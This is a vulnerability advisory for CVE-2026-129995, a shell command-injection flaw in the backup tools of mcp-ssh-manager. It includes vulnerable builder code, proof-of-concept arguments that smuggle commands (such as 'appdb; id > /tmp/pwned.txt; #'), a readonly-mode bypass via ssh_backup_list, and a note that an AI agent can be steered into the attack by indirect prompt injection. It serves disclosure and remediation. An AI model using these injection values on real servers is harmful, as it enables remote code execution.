CVE-2026-129995
JSON

8.8high

mcp-ssh-manager: Remote code execution (RCE) via command injection in the backup subsystem

Severity
8.8high CVSS:3.1 by GitHub_M
Exploit likelihood
1.23% (higher than 69% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-qwwm-vrm9-4mw8

Description

mcp-ssh-manager is an MCP server for managing servers over SSH with human approval, an encrypted vault, and a live audit trail. Prior to 3.8.5, ssh_backup_create, ssh_backup_restore, ssh_backup_schedule, and ssh_backup_list build remote shell commands from caller-controlled values in src/backup-manager.js and inline backup handlers in src/index.js without neutralizing shell metacharacters. Crafted database, connection, backup directory, path, exclusion, schedule, or comment arguments can therefore execute arbitrary OS commands on managed remote servers as the configured SSH user. ssh_backup_schedule can persist execution through cron. ssh_backup_list does not pass through the server policy check and remains available in readonly and restricted modes, allowing command execution despite those restrictions. Tool arguments can be supplied by a malicious or compromised MCP client or steered through indirect prompt injection; fully trusted benign arguments do not trigger the issue. The earlier database-helper remediation for CVE-2026-77383 applied shell quoting to src/database-manager.js but did not cover these parallel backup builders. This issue is fixed in version 3.8.5.

Affected

Product or packageVersionsReported by
bvisible mcp-ssh-manager< 3.8.5CVE List
mcp-ssh-manager (npm)before 3.8.5GitHub Advisory Database

All scores

GitHub_M8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
GitHub8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-78

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

mcp-ssh-manager is an MCP server for managing servers over SSH with human approval, an encrypted vault, and a live audit trail. Prior to 3.8.5, ssh_backup_create, ssh_backup_restore, ssh_backup_schedule, and ssh_backup_list build remote shell commands from caller-controlled values in src/backup-manager.js and inline backup handlers in src/index.js without neutralizing shell metacharacters. Crafted database, connection, backup directory, path, exclusion, schedule, or comment arguments can therefore execute arbitrary OS commands on managed remote servers as the configured SSH user. ssh_backup_schedule can persist execution through cron. ssh_backup_list does not pass through the server policy check and remains available in readonly and restricted modes, allowing command execution despite those restrictions. Tool arguments can be supplied by a malicious or compromised MCP client or steered through indirect prompt injection; fully trusted benign arguments do not trigger the issue. The earlier database-helper remediation for CVE-2026-77383 applied shell quoting to src/database-manager.js but did not cover these parallel backup builders. This issue is fixed in version 3.8.5.

GitHub Advisory Database

Summary

src/backup-manager.js builds shell command strings for the ssh_backup_* tools by concatenating caller-controlled tool arguments (database, dbUser, dbPassword, dbHost, backupDir, paths, exclude, …) directly into the string with no shell escaping. The resulting string is passed to ssh.execCommand(), which runs it through the remote server's login shell. An argument that contains shell metacharacters (;, $(...), backticks, |) therefore executes arbitrary commands on the target server. This is a remote code execution (RCE) vulnerability: an attacker who controls the tool arguments gains arbitrary command execution on every remote server the MCP instance manages, running as the configured SSH user.

This is the same vulnerability class that was fixed for the database helpers in CVE-2026-77383 / GHSA-4jx9-2fwj-pg4j. That fix added a centralized shellQuote() and was applied to src/database-manager.js (the ssh_db_* tools) only. The parallel builders in src/backup-manager.js (the ssh_backup_* tools) were not covered and remain vulnerable in the current release, v3.8.0.

$ grep -c shellQuote src/database-manager.js src/backup-manager.js
src/database-manager.js:95        <- fixed (CVE-2026-77383)
src/backup-manager.js:0           <- NOT fixed

Affected component

  • Package: mcp-ssh-manager (npm), repository bvisible/mcp-ssh-manager
  • Affected versions: <= 3.8.0 (latest at time of report)
  • File: src/backup-manager.js (all builders); reached from the tool handlers in src/index.js
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS command injection)
  • Impact: Remote Code Execution (RCE) on managed remote servers — arbitrary OS command execution as the configured SSH user

Details

Every builder in src/backup-manager.js interpolates arguments without escaping. Example — buildMySQLDumpCommand:

let command = 'mysqldump';
if (user)     command += ` -u${user}`;
if (password) command += ` -p'${password}'`;   // single-quote only -> breakable with '
if (host)     command += ` -h ${host}`;
command += ` ${database}`;                      // fully unquoted
if (compress) command += ` | gzip > "${outputFile}"`;

The tool handler passes tool arguments straight into the builder (no validation beyond z.string() type checking), and the returned string is executed on the remote host:

// src/index.js  (ssh_backup_create, mysql branch)
backupCommand = buildMySQLDumpCommand({ database, user: dbUser, password: dbPassword, host: dbHost, ... });
const result = await ssh.execCommand(backupCommand);   // remote login shell

SSHManager.execCommand() runs the string with this.client.exec(fullCommand, …) (ssh2), i.e. the remote sshd executes it via the user's shell, so ;, $(...), backticks and | are interpreted.

Reachable sinks (all confirmed)
ToolAttacker-controlled argument(s)Builder / sink
ssh_backup_createdatabase, dbUser, dbPassword, dbHost, backupDir, paths, excludebuildMySQL/PostgreSQL/MongoDB/FilesBackupCommand, plus inline mkdir -p "${backupDir}", stat … "${backupFile}", buildSaveMetadataCommand, buildCleanupCommand
ssh_backup_restoredatabase, targetPath, connection paramsbuildRestoreCommand → MySQL/PG/Mongo/Files restore builders
ssh_backup_scheduleschedule, database, paths, cronCommentscript written to the remote host + buildCronScheduleCommand (persistent, runs from cron)
ssh_backup_listbackupDirbuildListBackupsCommand → find "${backupDir}" …
Security-mode bypass (most critical)

ssh_backup_list is not listed in READONLY_BLOCKED_TOOLS and is not a COMMAND_BEARING_TOOLS, and its handler does not call applyServerPolicy at all. In src/policy.js, evaluatePolicy therefore returns { allowed: true } for it under both readonly and restricted modes. An operator who hardens a server to readonly (intending "the agent may never run commands here") can still be made to execute arbitrary commands on that server through the unescaped backupDir argument of ssh_backup_list. This mirrors the "ssh_db_list bypasses readonly/restricted" note in CVE-2026-77383.

Proof of concept

The following session imports the unmodified builders from the repository, shows the command string they generate for an attacker-controlled argument, and delivers that exact string to a real sshd over SSH exec (which is what ssh.execCommand() does internally). The injected command runs on the remote host.

$ node -p "require('./package.json').version"
3.8.0

$ node -e "import('./src/backup-manager.js').then(m=>console.log(m.buildMySQLDumpCommand(
    {database:'appdb; id > /tmp/pwned.txt; #',user:'backup',host:'db.internal',
     outputFile:'/tmp/app.sql.gz',compress:true})))"
mysqldump -ubackup -h db.internal -P 3306 --single-transaction --routines --triggers appdb; id > /tmp/pwned.txt; # | gzip > "/tmp/app.sql.gz"

# deliver over SSH exec (identical to ssh.execCommand)
$ ssh deploy@testhost "$CMD"; echo exit=$?
exit=0

$ ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy)      <-- injected command executed on the remote host

Mode-bypass variant via ssh_backup_list (works on a readonly server):

$ node -e "import('./src/backup-manager.js').then(m=>process.stdout.write(
    m.buildListBackupsCommand('/var/backups\"; id > /tmp/pwned.txt; echo \"', null)))"
find "/var/backups"; id > /tmp/pwned.txt; echo "" -name "*.meta.json" -type f | while read -r file; do cat "$file"; echo "---"; done

$ ssh deploy@testhost "$LST"; ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy)

(See attached session.txt / live_repro.log for the full runs and poc.mjs for a standalone reproducer.)

poc_screenshot

mcp-ssh-manager-backup-rce-poc.zip

Impact

Remote Code Execution (RCE) — arbitrary OS command execution on the managed remote server, running as the configured SSH user — identical impact to CVE-2026-77383. In the default unrestricted mode this is reachable through ssh_backup_create, ssh_backup_restore, ssh_backup_schedule (the last also yields a persistent cron foothold) and ssh_backup_list. On servers hardened to readonly/restricted, ssh_backup_list still reaches it, bypassing the intended tool restriction.

Threat model

Consistent with CVE-2026-77383: the tool arguments are treated as untrusted. In an MCP deployment they are produced by the language model and can be steered by an indirect prompt injection (malicious content the agent reads) or by a malicious/compromised MCP client. No exploitation occurs when a fully trusted operator supplies only benign values.

Remediation

Apply the existing shellQuote() from src/database-manager.js to every argument interpolated by the builders in src/backup-manager.js (database, user, password, host, port, outputFile, outputDir, paths, exclude, database in restore, schedule/cronComment in the cron builder), and to the inline interpolations in the ssh_backup_* handlers in src/index.js (mkdir -p "${backupDir}", stat … "${backupFile}", echo '…' > "${metadataPath}"). Prefer passing values as argv where the transport allows it. Additionally, route ssh_backup_list through applyServerPolicy so it is subject to the same read-only semantics as the other backup tools.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-129995 changed 2026-11-25CVE Terms of Use
GitHub Advisory DatabaseGHSA-qwwm-vrm9-4mw8 changed 2026-11-30CC-BY-4.0
NVDCVE-2026-129995 changed 2026-11-25Public domain